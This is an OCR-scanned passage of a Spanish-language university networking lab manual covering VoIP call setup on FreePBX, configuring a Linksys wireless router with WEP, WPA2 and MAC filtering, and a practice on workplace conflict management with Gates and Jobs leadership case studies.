Update Settings n/a (if applicable)

4.2.2.11 Haga dos veces clic en BACK, para regresar al ment System Settings.

Como se observa, este menu muestra otras opciones, los parametros X-Tunnel, X-Cipher e X-Vox son

soportados por X-PRO. Los ultimos menus Speaker Audio Device, Mic Audio Device y Ring Audio Device

se configuran automaticamente durante el Audio Tuning Wizard.

4.2.2.12 Ahora regrese al Main Mend, haciendo clic en BACK.

4.2.2.13 A continuaciéon haga clic en la opcién Advanced System Setting y seleccione SELECT,
posteriormente seleccione SIP Settings, en este punto s6lo configurara dos parametros de
acuerdo con la Tabla 1.5, los demas los dejara con los valores predeterminados, haga clic dos
veces en BACK y cierre la ventana del ment. (ver Figura No. 13)

M Menu

TIF Semng -]

Reregistar Proxy () 500
Send LDP Keep-alive Messages to Proxy: Yes

£ a0 10 Ser DF Keep-aive Massages 10 Proxyim
Send Compact $1P Meszages: No

Send Basic SDF Messages: No

Use SIP part: Yeos

Obey Reverse UDP Rudes: Yez

Should Timeswr S1F Messages Afterims): 9000
Should Timecus Bye SIF Mazsages Atertmz) €00

Should

B

Figura No. 13 Menu SIP Settings configurado

Tabla 1.5. Valores que deben configurase en el menu SIP Settings

Caracteristicas Valores
Reregister Proxy (s) 500
Frequency to send UDP message... 59000

4.3 Estableciendo la llamada

NOTA: Verifique que el firewall se encuentre desactivado para todas las pruebas con el
servidor de VolIP.

Para poder establecer la llamada debera seguir los siguientes pasos:
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4.3.1 Elijalalinea por la cual desea hacer la llamada, para nuestro primer caso elegiremos la linea 1.

VL. En la siguiente tabla coloque el niimero de extension de todas las maquinas (Tabla 1.6).

Tabla 1.6. Asignacion para establecer la llamada

Nombre Extension Nombre Extension

4.3.2 Marque el nimero de la computadora que se le ha asignado de acuerdo con la Tabla 1.6 y
complete la tabla.

NOTA: Pida el nimero de extension a su compaiiero de laboratorio de la maquina que se le
asignod y que esta ubicado en esa computadora.

4.3.3 Hagaclicen el boton llamar y converse con la persona.
VIL. ;Pudo establecer la llamada?, argumente su respuesta.

VIIL ;Por qué linea estableci6 la llamada?

IX. Investigue cuales son los requerimientos para establecer una llamada VolIP.

Cuelgue haciendo clic en el botén colgar.
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4.3.4 Ahora, vuelva a marcar a cualquier otra extension por la linea 1, espere a que le contesten y
pase a la linea 2, marque al nimero de extensiéon que se le asigné en la Tabla 1.6.
X. {Qué ocurrio con la llamada que tiene en la linea 1?

Acceda a las estadisticas del servidor.

XI. ;Qué relevancia tienen para el administrador de redes, contar con esta informacién?

XII. Mencione al menos 5 aplicaciones de la tecnologia VoIP.

4.4 Recuperacion del ambiente original
Para recuperar los parametros originales y dejar listo el equipo para el siguiente grupo, realice los
siguientes pasos:

4.4.1 Abraunnavegador Web y escribala direccion 192.168.2.122 en el campo del URL. Se mostrara
la pagina del servidor, haga clic en el mend FreePBX Administration, coloque en los campos de
usuario y contrasefia, admin como nombre de usuario y admin como contrasefia en caso de
que se requieran.

4.4.2 Entrar a Applications->Extensions, seleccione la cuenta creada con anterioridad (por ejemplo:
"cuenta" <extension>), ingrese; localice y oprima la opcién Delete Extension (Figura 1.5).
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*7+ FreePBX Administration * h 'wi!
&« ¢ @ @ 192.168.2.122 f -9 & o @
*‘-:_':_* Admin * Applications = Connectivity = Repors » settings Logout: admin Language

Extension: 300 Add Extension

PRUEBA <250
CELULAR <255>
& Delete Extension 300
Edit Extension

Figura 1.15. Borrado de cuenta

5. Conclusiones
Anote sus conclusiones revisando los objetivos planteados al inicio de la practica.
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PRACTICA 6

Configuracién de VoIP
Cuestionario Previo

Defina VoIP

Liste las caracteristicas tradicionales de VoIP

(En donde y cuando es conveniente utilizar VolP?

Describa cémo se lleva a cabo una llamada utilizando la Telefonia Tradicional.

;Qué es el SS7 y cudl es su funcién?

Describa cémo se lleva a cabo una llamada utilizando VolP.

Describa las caracteristicas de los siguientes protocolos de sefializacién: H.323, SIP Y MGCP.
Mencione al menos tres funciones de cada uno de los protocolos de trasporte RTP Y RTCP.
Investigue en qué consiste Linux CentOS.

O ON AW
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Practica 7

Comunicaciones Inalambricas: red
tipo infraestructura

Integracion
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1. Objetivos de Aprendizaje

e Elalumno o la alumna configurara una red inaldmbrica tipo infraestructura via Web, habilitara
en un router inaldambrico un sistema de filtrado basado en MAC (a veces llamado también
filtrado por hardware) que Unicamente permitira el acceso a la red a ciertas tarjetas de red,
identificadas con su MAC.

e Elalumno o laalumna implementard un mecanismo de seguridad enlared inaldmbrica a través
de los cifrados WEP y WPAZ2.

2. Conceptos teoricos

En sus inicios, las aplicaciones de las redes inalambricas fueron confinadas a industrias y grandes
almacenes. Hoy en dia las WLAN (Redes Inaldmbricas de Area Local - Wireless Local Area Network)
son instaladas en Universidades, oficinas, hogares y hasta en espacios publicos. Las WLAN se
componen de computadoras portatiles o de escritorio (terminales) que se conectan a dispositivos fijos
llamados AP (Puntos de Acceso - Access Point) via sefiales de radio o infrarrojo.

Las estaciones de trabajo se comunican entre si, gracias a que utilizan la misma banda de frecuencias
e internamente tienen instalados el mismo conjunto de protocolos, las redes Wi-Fi utilizan el estandar
de comunicaciones IEEE 802.11.

IEEE 802.11 define el uso de los dos niveles mas bajos de la arquitectura OSI (capas fisica y de enlace
de datos), especificando las normas de funcionamiento en una WLAN que emplea ondas de radio en la
banda de 2.4 GHz y 5 GHz.

a) Nivel fisico, establece dos posibles topologias y tres tipos de medios inalambricos que
funcionan a cuatro velocidades posibles.

El blogue constructivo fundamental de una LAN inaldmbrica es el BSS (Conjunto de Servicios
Basicos - Basic Services Set), el cual es un drea geografica en la que las estaciones inalambricas
se pueden comunicar. La configuraciéon y el area BSS dependen del tipo de medio inalambrico
que se use y de la naturaleza del entorno.

El estandar define dos tipos de topologias de red inalambrica:

¢ La topologia ad hoc, todos los dispositivos de la red dentro de BSS son méviles o portatiles, es
decir, inalambricos, esta limitada a un maximo de 10 dispositivos.

e Latopologia de infraestructura, la cual consta de al menos un AP inalambrico que puede estar
conectado a una red fija estandar por medio de un cable y por dos o mas estaciones
inalambricas.

b) Nivel de enlace de datos, el estandar define la funcionalidad del subnivel MAC (Control de
Acceso al Medio - Medium Access Control) que consiste en un servicio de transporte no
orientado a la conexion que lleva los datos LLC (Control de Enlace Logico - Logical Link Control)
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a un destino de la red en forma de MSDU (Unidades de Datos de Servicio MAC). Este servicio
se define por un formato de trama y un mecanismo de control de acceso al medio.
El estandar define tres tipos basicos de trama del nivel MAC:
e Tramas de datos, utilizadas para transmitir datos de los niveles superiores entre estaciones.
e Tramas de control, utilizadas para regular el acceso al medio de la red y para reconocer las
tramas de datos transmitidas.
e Tramas de administracion, utilizadas para intercambiar informacién de administracion de
la red para realizar funciones de red, como asociacién y autenticacion.
3. Equipoy material necesario
Equipo del Laboratorio:
e 2 PC’s Pentium con una NIC Ethernet 10/100 Mbps inalambrica instalada en cada una de
ellas.
e 1 Router inalambrico.

Equipo del alumno o la alumna:

e Dispositivo inaldmbrico que cuente con Wi-Fi (Laptop con tarjeta inaldmbrica, Iphone,
etcétera) en el que pueda observarse su direccion MAC).

4. Desarrollo
Modo de trabajar
La practica se desarrollara en parejas.
4.4 Red inalambrica tipo infraestructura
4.4.1 Conociendo el dispositivo inalambrico
AP (Puntos de Acceso - Access Points) es una estacion base utilizada para administrar las
comunicaciones entre las distintas terminales, funciona de manera auténoma, sin necesidad de ser

conectada directamente a ninguna computadora.

El AP no sélo es el medio de interconexién de todas las terminales inalambricas, sino que también es
el puente de interconexion con la red fija e Internet.

L Indique en la tabla 1.1 de la Figura No. 1. los componentes del router inalambrico que esté
utilizando.
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b)

Figura No. 1. a) Vista trasera del router Linksys WTR120N b) Vista trasera Lynksys E900

Tabla 1.1 Componentes

Especificacion

WIN =

4

Modelo:

II. Analice los indicadores de luz del router inaldmbrico que esté utilizando y complete, de ser

posible, la tabla 1.2 de la Figura No. 2.
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Figura No. 2. Vista delantera del router Linksys WTR120N

Tabla 1.2 Indicadores de luz del router Linksys WTR120N

Especificacion

Ul | W[ =

Conexion y configuracion del router inalambrico.

4.4.2 Realice las conexiones fisicas, conecte el host de administracion con el router utilizando un

puerto Ethernet (Ver Figura No. 3).

L

- -

Figura No. 3. Conexidén punto a punto

En este punto de la practica realizara la configuracién via Web, este método resulta intuitivo y grafico

para la administracion del dispositivo.
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4.4.3 Abra un navegador Web y escriba la direccién [P 192.168.1.1 en el campo del URL (ver Figura
1.4).

NOTA: En caso de que el modelo del router sea Lynksys E900 siga los siguientes pasos (del 4.4.3.1 al
4.4.3.3)

4.4.3.1 En caso de ser necesario, instale el software que viene incluido en el CD.

4.4.3.2 Dé clic sobre la opcién Continuar con una red abierta y no segura para iniciar la instalacion
(Figura No. 4).

Bienvenido a
Linksys ES00

Figura No. 4 Inicio de la instalacion

4.4.3.3 Habilite la opcion Entiendo que mi red estd actualmente abierta y no es segura para continuar
con la instalacion (Figura No. 5).
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Red no segura

Figura No. 5. Continuar con la instalacion

4.4.4 Independientemente del modelo, coloque como nombre de usuario: admin y contrasefa:
admin (Figura No. 6).

Se requiere autenticacion

http://192.168.1.1 necesita un nombre de usuario y una
contraseiia,

Tu conexion con este sitio no es privada.

Nombre de usuario: admin

tttt

Contrasefia:

Iniciar sesion Cancelar

Figura No. 6. Solicitud de usuario y contraseiia

NOTA: Dependiendo del modelo puede salir alguna ventana de Advertencia, solamente
ciérrela y contintie con la configuracion.

4.4.5 Se abrird una ventana con las configuraciones por default del dispositivo, navegue por las
opciones que se presentan para configurarlo y administrarlo correctamente (Figura No. 7).
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LINKSYS by Cisco

Wireless N Homa Router  wRT1200
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wx  Seenity  Aceess lestidions =
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Select your language Engash -

It ivet Setup

Audomat Configuration . [ric? W

ional Settings .o e
(required by some ter et
Service Providors)  Doinsin Nane:

WL futn % Gz

Rouer B | oo Adoress 152 168 1 1
Subnet Mazk #5550 W

& P e el
DHCP Sarwer Setting | pHce Server. @ enatted C pisabded [ DHCF Rezervalion |

Stant P Adevess 1m

Figura No. 7. Ventana de Setup (Configuracion) del router inalambrico.

4.4.6 En la parte superior se muestran las opciones que presenta la configuracién via Web del
dispositivo, ingrese en cada una de ellas y verifique qué se puede configurar, resumiendo en la
Tabla 1.3 las caracteristicas generales.

Tabla 1.3. Caracteristicas Generales de la configuracién del router inalambrico

Opcién Caracteristicas Generales
Setup (Configuracién)
Wireless (inaldmbrico)
Security (Seguridad)
Access Restrictions
Applications & Gaming
(Aplicaciones y Juegos)
Administration
(Administracion)
Status (Estado)

NOTA: Deje en blanco la opcién Access Restrictions si el modelo del router empleado es E900

L ;Qué pasa si el access point tiene una direccion IP fuera del segmento de red del laboratorio?

4.4.7 El siguiente paso es configurar los parametros de red necesarios, haga clic en el menud
Setup 2Basic Setup (Configuracion 2 Configuracion bdsica) y en la seccién de Internet Setup
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(Configuracién de Internet) del menu despegable seleccione Static IP (IP Estatica); observe que
cambian las opciones.

4.4.8 Coloque los parametros de red solicitados de acuerdo con la Tabla 1.4.

Tabla 1.4. Parametros de red de la seccion Internet Setup

Nombre Valor
Internet IP | 192.168.2.X
Address

(Direccion IP de

Internet)

Subnet Mask | 255.255.255.0
(Mascara de

subred)

Default Gateway
(Puerta de enlace

192.168.2.254

predeterminada)
DNS 1 132.248.204.1
DNS 2 132.248.10.2

NOTA: X se sustituye por la IP de su maquina+200.

Por ejemplo: si sumaquina es 192.168.2.1 colocara 192.168.2.201

4.4.9 En la seccién Optional Settings (Parametros opcionales) coléquele al dispositivo el nombre
Linksys_suslniciales.

NOTA: suslniciales seran cambiadas por las iniciales de los integrantes del equipo.

4.4.10 A continuacion en la seccion Network Setup = Router IP (Configuracion de red 2 Direccion IP
del router), coloque los pardmetros indicados en la Tabla 1.5.

Tabla 1.5. Parametros de red de la seccion Network Setup (Configuracion de red)

Nombre Valor

IP Address | 192.168.3.1
(Direccién IP)

Subnet Mask | 255.255.255.0
(Mascara de

subred)

4.4.11 El siguiente paso sera configurar el DHCP del dispositivo, para que se asignen de forma
automatica los parametros de red a los dispositivos finales inalambricos; para ello vaya a
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Network Setup - DHCP Server Settings (Configuracién de red = Pardmetro de servidor DHCP)
y coloque los parametros que se muestran en la tabla 1.6.

4.4.12 Guarde los cambios efectuados en el dispositivo haciendo clic en el botén Save Settings
(Guardar pardmetros).

Tabla 1.6. Parametros de red del DHCP Server Settings (Parametro de servidor DHCP)

Nombre Valor
DHCP Server (Servidor | Enable
DHCP)

Start IP Address (Direccion | 192.168.3.100
IP inicial)
Maximum Numbers of Users | 50
(Nimero  maximo  de
usuarios)

Cliente Lease Time (Tiempo | 10
de concesioén del cliente)
Static DNS 1 (DNS estatico | 132.248.204.1
1)
Static DNS 2 (DNS estatico | 132.248.10.2
2)

4.4.13 Vaya a la seccion Time Settings = Time Zona (Parametros de hora = Zona horaria) y elija del
menu despegable la zona horaria.

4.4.14 Guarde los cambios efectuados en el dispositivo haciendo clic en el botén Save Settings
(Guardar parametros)..

La IP que se asigno anteriormente permitira administrar el dispositivo, por lo cual sera necesario
cambiar la IP del host que esta administrado por una que se encuentre contenida en el rango definido.

4.4.15 Realice las siguientes configuraciones fisicas, conecte el puerto de Internet del router a un nodo
disponible del laboratorio (el nodo esta conectado a un puerto del switch).

4.4.16 El siguiente paso es realizar la configuracion de los dispositivos inalambricos disponibles,
verifique que las tarjetas de red inaldmbricas usan asignacién de los parametros de red a través
de un servidor DHCP.

4.4.17 Con base en lo investigado en el previo, cambie el SSID del router que esta configurando.

Anote el nuevo SSID
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4.4.18 A continuacion conéctese a la red inalambrica con el SSID del punto 4.1.16

Hasta este punto se realiz6 la configuracién del router, pero tiene una gran desventaja; cualquier
usuario se puede conectar a la red; asi que el siguiente paso serad configurar la seguridad en el
dispositivo.

4.5 Cifrado por WEP

WEP (Privacidad Equivalente a Cableado - Wired Equivalent Privacy), es el sistema de cifrado incluido
en el estandar IEEE 802.11 como protocolo para redes Wireless que permite cifrar la informacion que
se transmite. Esta basado en el algoritmo de cifrado RC4 y utiliza claves de 64 bits o de 128 bits. Los
mensajes de difusion de las redes inalambricas se transmiten por ondas de radio, lo que los hace mas
susceptibles frente a las redes cableadas, de ser captados con relativa facilidad. Presentado en 1999,
el sistema WEP fue pensado para proporcionar una confidencialidad comparable a la de una red
tradicional cableada.

Para configurar el cifrado por WEP en el router inaldmbrico realizara los siguientes pasos:
4.5.1 Haga clic en el menu de Wireless = Wireless Security (Inalambrico 2 Seguridad Inaldmbrica).
4.5.2 Habilite el modo de seguridad en WEP.

4.5.3 Con base en la tabla 1.7 llene los campos indicados, cuando coloque la frase haga clic en el
botén Generate.

Tabla 1.7. Parametros de seguridad.

Nombre Valor
Security Mode | WEP
(Modo de

seguridad)

Encrytion 40/64 bits
(Encriptacién)

Passphrase Seguridad
(Frase de paso)

4.5.4 Se ha generado la clave WEP, tome nota de la clave para configurar posteriormente el
dispositivo inalambrico.

Clave Wireless:
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4.5.5 Elsiguiente paso es realizar la conexion a la red inalambrica creada.

4.5.6 Realice la configuracién pertinente en su dispositivo inaldambrico para conectarse a la red
inaldmbrica creada usando la clave WEP.

4.5.7 Verifique que tenga conexién a la red inalambrica.
El router inaldmbrico cuenta con otros dos tipos de cifrado, WPA-Personal y WPA-Enterprise.

IL ;Qué es el cifrado WPA, WPA-Personal y WPA-Enterprise?

II1. ; Qué es el cifrado TKIP?

1V. Explique en qué consiste el cifrado AES

4.5.8 Realice la configuracion pertinente en su dispositivo inalambrico para conectarse a la red
inalambrica usando la clave WPA2-Personal.

4.5.9 Seleccione la opcion WPA2-Enterprise y observe que este método ofrece utilizar RADIUS
server.

V. ;:Qué es y para qué sirve RADIUS?

VI. Realice un diagrama légico de la red inalambrica, indicando los dispositivos inalambricos
involucrados, puertos, IP asignadas.
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4.6 Filtrado por MAC

En la mayoria de los casos no es necesario conocer o utilizar la direccion fisica del adaptador de red,
ya que no es indispensable para configurar la conexion a Internet, ni para montar la red.

El caso mas usual en el que se puede necesitar el dato de la direccién MAC, es en el que se desea
configurar una red WiFi, el punto de acceso en el sistema de configuracion tiene la opcién de filtrado
basado en MAC (a veces llamado también filtrado por hardware) el cual inicamente permitira o
denegara el acceso a la red a adaptadores de red concretos, identificados con su MAC. Todos los
adaptadores de red inalambricos tienen una direccién MAC Unica.

Es muy recomendable utilizar el filtrado por MAC en combinacidn con el cifrado WEP o WPA para tener
una mayor seguridad.

La MAC address es un nimero unico asignado a cada tarjeta de red es también conocida como la
direccidn fisica.
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VII. ;Qué comando se puede utilizar para determinar la direccion MAC de la tarjeta en Windows
y en Linux?

Windows

Linux

Para configurar el filtrado por MAC, en el router inalambrico realizara los siguientes pasos:
4.6.1 Obtenga la direccion MAC del dispositivo inaldambrico
4.6.2 Anote la direccion MAC del dispositivo inalambrico.

Direccion MAC

4.6.3 Vaya al menu de Wireless = Wireless MAC Filter (Inaldmbrico = Filtro de MAC inaldmbrico).

4.6.4 De la seccion Wireless MAC Filter (Filtro de MAC inaldmbrico) seleccione Enable (Activado)
para filtrar por MAC a los dispositivos inalambricos.

4.6.5 La opcion Prevent listed computers from accessing the wireless network (Evitar que los
siguientes PC accedan a la red inalambrica) bloqueara el acceso inalambrico por direccién
MAC.

4.6.6 La opcion Permit listed computers to access the wireless network (Permitir que los
siguientes PC accedan a la red inalambrica) permitira el acceso inalambrico por direccion

MAC, haga clic en esta opcién.

4.6.7 Haga clic en la opcion Wireless Client List (Lista de clientes inalambricos), se desplegara una
ventana con las direcciones MAC de los dispositivos conectados a la red

4.6.8 Haga clicen el boton Save settings (Guardar parametros) para guardar la nueva configuracion.

4.6.9 Realice la configuracién pertinente en su dispositivo inalambrico para conectarse a la red
inalambrica.

4.6.10 Verifique que tenga conexién a la red inalambrica.

VIIL ;En qué casos es iitil filtrar por MAC?
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IX. Si filtramos unicamente por MAC, ;estd la red completamente segura? Justifique su respuesta.

X. ¢En qué casos es preferible tener una red inalambrica tipo infraestructura?

4.7 Restauracion de la configuracion

4.7.1 Restaure la SSID del router inaldmbrico. Dé clic en el botén de Reset

5. Conclusiones

Revise los objetivos de la practica y las actividades realizadas y emita sus conclusiones.
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A

®° N

PRACTICA 7

Comunicaciones Inalambricas: red tipo infraestructura
Cuestionario Previo

¢Qué es una red inalambrica?

Liste las caracteristicas de las ondas de radio como medio de transmisién

Liste las caracteristicas del infrarrojo como medio de transmision

(A qué se refiere el estdndar IEEE 802.11?

;Cuales son las topologias que admite el estandar 802.11?

Investigue las caracteristicas de los estandares 802.11a, 802.11b, 802.11g y 802.11n;
indicando frecuencia, ancho de banda, velocidad de transmision, alcance, método de acceso.
;Qué es la certificacion Wi-Fi?

;Qué significa SSID?

(A qué se refiere el estandar IEEE 802.16?

. Investiga las caracteristicas de la tecnologia GSM.

. ¢Qué tipos de seguridad se pueden manejar en un router inaldambrico?

. ¢Cudl es el significado de un punto de acceso (AP) en redes inaldmbricas?

. Investigue como se cambia el SSID (Nombre de la red o Network Name) en los routers Linksys

WTR120N y Linksys E900
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Practica 8

Manejo de conflictos en el area de

redes

Direccion
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1. Objetivos de Aprendizaje
e El alumno o la alumna definira el concepto de conflicto, identificando las razones que lo
provocan y la forma en que las personas lo manejan. De la misma manera reconocera técnicas

para la evasion y resolucién de conflictos.

e Elalumno olaalumna aplicara estrategias de supervision, que minimicen el conflicto y mejoren
las relaciones humanas que favorecen el buen funcionamiento del 4rea.

2. Conceptos teoricos
En 1923 el investigador Charles E. Mayo, complet6 un estudio en el que se respalda la tesis que sostiene
que el trabajo individual no es el que genera los mejores frutos, pues el ser humano requiere de

satisfacciones en la labor que desarrolla tanto individual como grupalmente.

En el mundo tecnolégico en que nos desenvolvemos las cosas deben ser administradas para obtener
los objetivos propuestos.

El conflicto se inicia cuando individuos o grupos no obtienen lo que necesitan, buscando su interés
propio. Los conflictos son inevitables, se desarrollan al entrar en contacto con personas, trabajos y el

individuo mismo. Sin embargo, deben minimizarse y resolverse a través de estrategias.

El conflicto se considera destructivo cuando controla toda la atencién, divide a las personas y reduce
la cooperacion, aumenta las diferencias para finalmente conducir a un comportamiento destructivo.

El conflicto se puede considerar constructivo cuando da lugar a la clarificacion de problemas y
controversias, generando soluciones basadas en una comunicacién auténtica que permite desarrollar
entendimiento y destrezas.

3. Equipoy material necesario

4. Desarrollo
Modo de trabajar
La practica se desarrollara en parejas.

4.1 Manejo de conflictos

Analice el siguiente caso real, dentro del drea de administraciéon de redes en una organizacion
proveedora de servicios de tecnologia de informacidn.
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Eric Humbolt, administrador del drea de redes, en una organizacion dedicada a proveer servicios de
telecomunicaciones, dedica su tiempo intentando que su equipo de trabajo sea capaz de desenvolverse
en las reuniones de trabajo, sin que la tension alcance limites insoportables, con el objetivo de contar
con un equipo conjuntado con una persona proveniente de cada divisién y desarrollar un plan
integral, que tenga como meta, el realineamiento estratégico de la empresa, su puesta en marcha y
buen funcionamiento en un lapso de 6 meses.

Seis de los altos directivos involucrados parecian estar decididos a dar un cambio drdstico a la
empresa, pero el séptimo daba la sensacion de estar igualmente determinado a sabotear el proceso.
Ya habian tenido lugar 3 reunionesy Eric no habia conseguido que todos los participantes se pusieran
de acuerdo en los asuntos tratados.

Randy Louderback, administrador de bases de datos, reqularmente dominaba la discusién del grupo
o bien pasaba de todo y empezaba a tamborilear con su pluma sobre la mesa en sefial de aburrimiento.
Este individuo que sometia al grupo con su personalidad y fuerte relacién con el gerente general de
la empresa, era capaz de retener informacién vital para el debate en el grupo y en otras ocasiones
intervenia para denigrar friamente las opiniones de cualquiera de los presentes. En la primera
reunién realizada hacia un mes, insinud lo que en ese momento parecié un chiste, que él no estaba
hecho para trabajar en equipo con otros, a través del siguiente comentario: “los lideres, dirigen; los
gregarios...bueno mejor callémonos”, mientras lo pronunciaba esbozando una sonrisa plena de
encanto y el resto del grupo habia reido a carcajadas por la gracia.

La empresa tenia problemas, no muy graves, pero si lo bastante como para requerir por parte del
drea de direccién un reposicionamiento estratégico.

Eric prepard una estructura y directrices para los debates en grupo, las discrepancias y la toma de
decisiones con la intencién de proponérselas al grupo de directivos para que realizaran su aportacion
antes de empezar a trabajar juntos. En un principio previé ciertas discrepancias con algunos
directivos, temores que resultaron infundados. A pesar de sus planificaciones, siempre hubo quien
desbaratd el proceso.

La tercera reunion, que habia tenido lugar la semana anterior, terminé en un caos completo. Se habia
decidido presentar una serie de propuestas por cada uno de los directivos, exposicién que se desarrollé
sin problemas hasta que tocé el turno a Randy, nuestro integrante conflictivo.

Finalmente, en la cuarta reunién todo el equipo estaba dentro de la sala, excepto Randy. Después de
10 minutos de conversaciones superficiales, Eric podia observar en cada una de las caras, la
frustracion reflejada en todos ellos, asi que decidio que el tema de esa reunion seria la conducta de
Randy para tratarlo abiertamente y tomar una decision. Sin embargo, justo en el momento en que
empezaba, éste entré pausadamente en la sala sonriendo y diciendo: “Lo siento, chicos”, mientras
sostenia una taza de café, como si ésta fuese la explicacién suficiente para justificar su retraso. Eric,
afirmo: “Randy, me alegro de que estés aqui, porque pienso que hoy debemos hablar del grupo”. Randy
interrumpid e hizo un comentario sarcdstico que provocd la salida de mds de un integrante del
equipo, la sala de juntas entonces quedd en silencio.

1. Identifique la fuente del conflicto.
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2. Investigue las consecuencias en una organizacion causadas por un conflicto como el
anterior.

3. Enumere al menos 5 actitudes de una persona conflictiva.

Existen algunas técnicas para evadir o resolver conflictos, las cuales implican los siguientes pasos:
e Reconocimiento del conflicto.
Establecimiento de metas.
Establecimiento de comunicacién frecuente.
Comunicaciones de preocupaciones.
Espiritu creativo.
e Discusion de las diferencias abiertamente.
Entre algunos puntos claves que deben considerarse a la hora de resolver conflictos encontramos:
o Se debe negociar antes de cerrar el trato.
e No se debe ser intransigente: ser justo, ofrecer mas respeto por la parte opositora que por lo
que se esta negociando.
e No negociar en estado de ira.
e Nunca pensar que una negociacioén es insignificante.
e Latécnica de la negociacion debe llevar a un acuerdo inteligente, no a la confrontacidn.
e Unanegociacion efectiva no debe dejar resentimientos.
e Debe ser perdurable.
e Enlanegociacion se debe privilegiar el bien comun, dejando de lado el ego.

4. Investigue al menos 3 razones que den lugar a los conflictos.

5. ¢Por qué no funciona este equipo de trabajo? Analice su respuesta y discuta en grupos de
3 personas, las coincidencias y diferencias.
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4.2 Casos prdcticos de liderazgo

El objetivo de este punto es analizar los tipos de liderazgos empleados por 2 personajes de la industria
informatica.

Examine los siguientes casos reales de dos personajes que han dado lugar a dos fuertes empresas
informaticas: Apple y Microsoft. Posteriormente responda las preguntas.

Dos hombres han dirigido la revolucién de las computadoras personales. Sin embargo, la forma en que
cada uno de estos hombres enfrenté su propia busqueda ha sido distinta. Steve Jobs y Bill Gates han
cambiado la forma en la que el mundo hace negocios, pero la historia de sus liderazgos requiere ser
estudiada.

4.2.1 Bill Gates

Bill Gates empezé a desarrollar sus habilidades relativas a las computadoras con su amigo de la infancia,
Paul Allen, en Lakeside School, Seatle. A los 14 arios, los dos constituyeron su primera compaiiia de
computadoras. Al terminar la preparatoria Allen y Gates partieron hacia Boston.

Gates fue aceptado en Harvard y Allen empezo a trabajar en Honeywell. Después de pasar solamente dos
afios en Harvard, Gates y Allen abandonaron Boston, para desarrollar en Albuquerque un lenguaje de
computadora que sirviera a la nueva computadora personal Altair 8080. Este lenguaje se convertiria en
BASIC, cimiento de Microsoft, la cual fue creada como una sociedad en 1975.

Después de 5 aiios en Nuevo México, Microsoft fue trasladada a Bellevue, Washington, en 1980, con BASIC
y otros dos lenguajes de programacién (COBOL y FORTRAN) en su arsenal. Posteriormente en ese mismo
afio IBM empezé a desarrollar su primera PC y tuvo necesidad de un sistema operativo. Microsoft
desarrollé el MS-DOS (Microsoft Disk Operating System) para IBM, mientras otras companias creaban
sistemas que competirian con Microsoft. La determinacion y persuasion de Gates, en relacion con el
desarrollo de programas para MS-DOS, hizo de este sistema operativo la plataforma estdndar de IBM.
Conforme Microsoft se volvié mds exitoso Gates se dio cuenta de que necesitaba ayuda para su
administracién. Su entusiasmo, vision y trabajo arduo fueron la fuerza motriz detrds del crecimiento de
la compaiiia, pero él reconocio la necesidad de una administracion profesional. Gates introdujo a otro de
sus amigos de Harvard, Steve Ballmer, quien habia trabajado para Procter & Gamble después de
graduarse de Harvard y en ese entonces cursaba la maestria de Administracién de Empresas en
Standford. La persuasidon de Gates logré que Ballmer abandonara la escuela y se uniera a Microsoft. A lo
largo de los afios Ballmer se convirtié en un activo indispensable tanto para Gates como para Microsoft.
En 1983 Gates siguio mostrando su inteligencia, al contratar a Jon Shriley, quien ordend y modernizo la
estructura de la organizacién, mientras Ballmer servia como consejero y portavoz de Gates. Microsoft
continuo creciendo y prosperando en los 90, convirtiendo a Gates en el hombre mds rico del mundo.
Microsoft domina tanto el mercado del sistema operativo, con su aplicacion Windows, como el mercado
del software de oficina, Microsoft Office.

Gates reconocié que su papel era ser el visionario de la compariiia y que necesitaba administradores
profesionales para dirigirla. Gates combiné su determinacién y pasion inexorables con un equipo
administrativo bien estructurado para hacer de Microsoft el gigante que el dia de hoy es.
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Microsoft adquirié Hotmail en 1998 y a pesar de ser visto como algo pasado de moda por los usuarios
mds jévenes, fue el servicio de correo electrénico gratuito mds popular del mundo hasta 2012, cuando fue
superado por Gmail.

En mayo de 2011 Microsoft realizé la compra de Skype, un firma que en el 2003 creara en Luxemburgo,
un software que permite hacer llamadas de voz y video, entre usuarios de Internet, para sustituir a
Windows Live Messenger, el cual dejé de funcionar en 2013.

De lo que nadie duda es que hoy Microsoft no sélo es una de las empresas mds valiosas en bolsa sino que
tiene muchos negocios y productos. Participa en la MSNBC, el tercer canal de television por cable de EE
UU, que ademds tiene una web del mismo nombre. Y, por si fuera poco, ha lanzado productos de
entretenimiento, como la XBOX; programas para mdviles y palms, como el Windows Mobile, y promete
seguir pensando en el futuro.

4.2.2 Steve Jobs

El otro visionario, Steve Jobs y su amigo Steve Wosniak iniciaron en 1976 Apple Computer, en el garage
de Jobs, en Los Altos, California. En contraste con Bill Gates, Jobs y Wosniak eran expertos en hardware e
iniciaron una visién para una computadora personal que fuera econémica y fdcil de utilizar.

Cuando Microsoft ofrecié BASIC a Apple, Jobs inmediatamente descarté la idea afirmando que él y
Wosniak crearian su propia versién de BASIC en un fin de semana. Este era el perfil tipico de Jobs: firme
y casi maniaco, en ocasiones.

Finalmente Jobs acepto BASIC de Microsoft, mientras trataba de consolidar su propia vision, es decir, el
desarrollo de una interfaz mds amigable y fdcil de utilizar para una PC.

Muchos ven a Jobs como el anti-Gates. Jobs es un precursor y creador, en contraste con Gates, quien es
mds un individuo con el potencial de consolidar pardmetros industriales.

El objetivo de Jobs era cambiar al mundo con sus computadoras. Por otra parte era muy exigente con sus
empleados. Jobs era distinto a Gates, Allen y Wosniak. No era un programador de computadoras dotado
sino la persona que vendia la idea de la computadora personal al ptblico. Jobs tomé la decision de
cambiar la direccién de Apple para desarrollar Macintosh utilizando una GUI (Interfaz Grdfica de Usuario
- Graphic Interface User) que introdujo al mundo el raton y los iconos en pantalla. Jobs forzé a la gente a
escoger entre el sistema operativo Microsoft-IBM Dos y su GUI Macintosh OS.

En un principio Jobs fue el visionario que cambié el mundo de las computadorasy Apple empequeiiecié a
Microsoft. Con todo este éxito, habia un problema mayor gestdndose en Apple: Steve Jobs tenia una
confianza excesiva y no vio que Gates y Microsoft constituian una seria amenaza para Apple.

Poco tiempo después de la aparicién de la computadora Macintosh, Jobs pidio a Microsoft desarrollar un
software para el sistema operativo Mac. Gates asi lo hizo y procedié a lanzar un proyecto que copiaray
mejorara la interfaz del usuario Apple. El resultado de esta empresa fue la aplicacion Windows de
Microsoft.

La actitud arrogante de Jobs, asi como su carencia de habilidades administrativas, lo convirtio en una
amenaza para el éxito de Apple. Nunca se preocupé por desarrollar presupuestos y se ha criticado su
relacion con los empleados. Wosniak abandoné Apple después de la aparicion de Macintosh debido a las
diferencias con Jobs.
